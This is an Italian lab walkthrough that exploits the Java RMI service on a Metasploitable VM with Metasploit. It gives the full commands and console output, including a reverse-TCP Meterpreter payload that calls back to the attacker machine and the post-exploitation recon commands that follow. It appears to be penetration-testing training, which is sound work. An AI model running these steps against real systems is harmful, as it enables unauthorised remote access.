METASPLOIT E SFRUTTAMENTO DELLA VULNERABILITÀ JAVA_RIM

- IP Macchina Attaccante (Kali): 192.168.1.111
- IP Macchina Target (Metasploitable): 192.168.1.112
- Servizio vulnerabile: Java_RMI (porta 1099)

1. Per prima cosa bisogna avviare Metasploit tramite il comando “msfconsole”.
2. Si procede con il ricercare l’exploit con la vulnerabilità che ci interessa, scrivendo “search java_rmi”.
3. L’exploit di nostro interesse è “exploit/multi/misc/java_rmi_server” che andiamo ad inserire dopo il comando “use” per poterlo utilizzare. Non è necessario poi scegliere un payload poiché quello di nostro interesse è già selezionato di default.

```
msf6 > use exploit/multi/misc/java_rmi_server
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > set rhosts 192.168.1.112
rhosts ⇒ 192.168.1.112
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   HTTPDELAY  10               yes       Time that the HTTP Server will wai
                                         t for the payload request
   RHOSTS     192.168.1.112    yes       The target host(s), see https://gi
                                         thub.com/rapid7/metasploit-framewo
                                         rk/wiki/Using-Metasploit
   RPORT      1099             yes       The target port (TCP)
   SRVHOST    0.0.0.0          yes       The local host or network interfac
                                         e to listen on. This must be an ad
                                         dress on the local machine or 0.0.
                                         0.0 to listen on all addresses.
   SRVPORT    8080             yes       The local port to listen on.
   SSL        false            no        Negotiate SSL for incoming connect
                                         ions
   SSLCert                     no        Path to a custom SSL certificate (
                                         default is randomly generated)
   URIPATH                     no        The URI to use for this exploit (d
                                         efault is random)


Payload options (java/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.1.111    yes       The listen address (an interface may b
                                     e specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Generic (Java Payload)


msf6 exploit(multi/misc/java_rmi_server) > run

[*] Started reverse TCP handler on 192.168.1.111:4444
[*] 192.168.1.112:1099 - Using URL: http://192.168.1.111:8080/LE0Su73
[*] 192.168.1.112:1099 - Server started.
[*] 192.168.1.112:1099 - Sending RMI Header ...
[*] 192.168.1.112:1099 - Sending RMI Call ...
[*] 192.168.1.112:1099 - Replied to request for payload JAR
[*] Sending stage (58829 bytes) to 192.168.1.112
[*] Meterpreter session 1 opened (192.168.1.111:4444 → 192.168.1.112:50043 )
 at 2022-09-02 08:29:28 -0400
```

4. Si va ad impostare l'indirizzo IP della macchina target, tramite il comando "set rhosts 192.168.1.112" e osserviamo se l'inserimento è andato a buon fine con il comando "show options".
5. Ora si può lanciare l'attacco in modo da permetterci di stabilire una connessione tra le due macchine, consentendoci di usare la Shell di Meterpreter.

```
meterpreter > ifconfig

Interface  1
============
Name         : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::


Interface  2
============
Name         : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.1.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe7d:8314
IPv6 Netmask : ::

meterpreter > sysinfo
Computer        : metasploitable
OS              : Linux 2.6.24-16-server (i386)
Architecture    : x86
System Language : en_US
Meterpreter     : java/linux
meterpreter > route

IPv4 network routes
===================

    Subnet         Netmask        Gateway  Metric  Interface
    ------         -------        -------  ------  ---------
    127.0.0.1      255.0.0.0      0.0.0.0
    192.168.1.112  255.255.255.0  0.0.0.0


IPv6 network routes
===================

    Subnet                   Netmask  Gateway  Metric  Interface
    ------                   -------  -------  ------  ---------
    ::1                      ::       ::
    fe80::a00:27ff:fe7d:8314 ::       ::
meterpreter >
```

6. Andiamo finalmente a ricavare più informazioni possibili, in particolare sulla configurazione di rete e la tabella di routing, andando ad eseguire i seguenti comandi:
    - "ifconfig";
    - "sysinfo";
    - "route".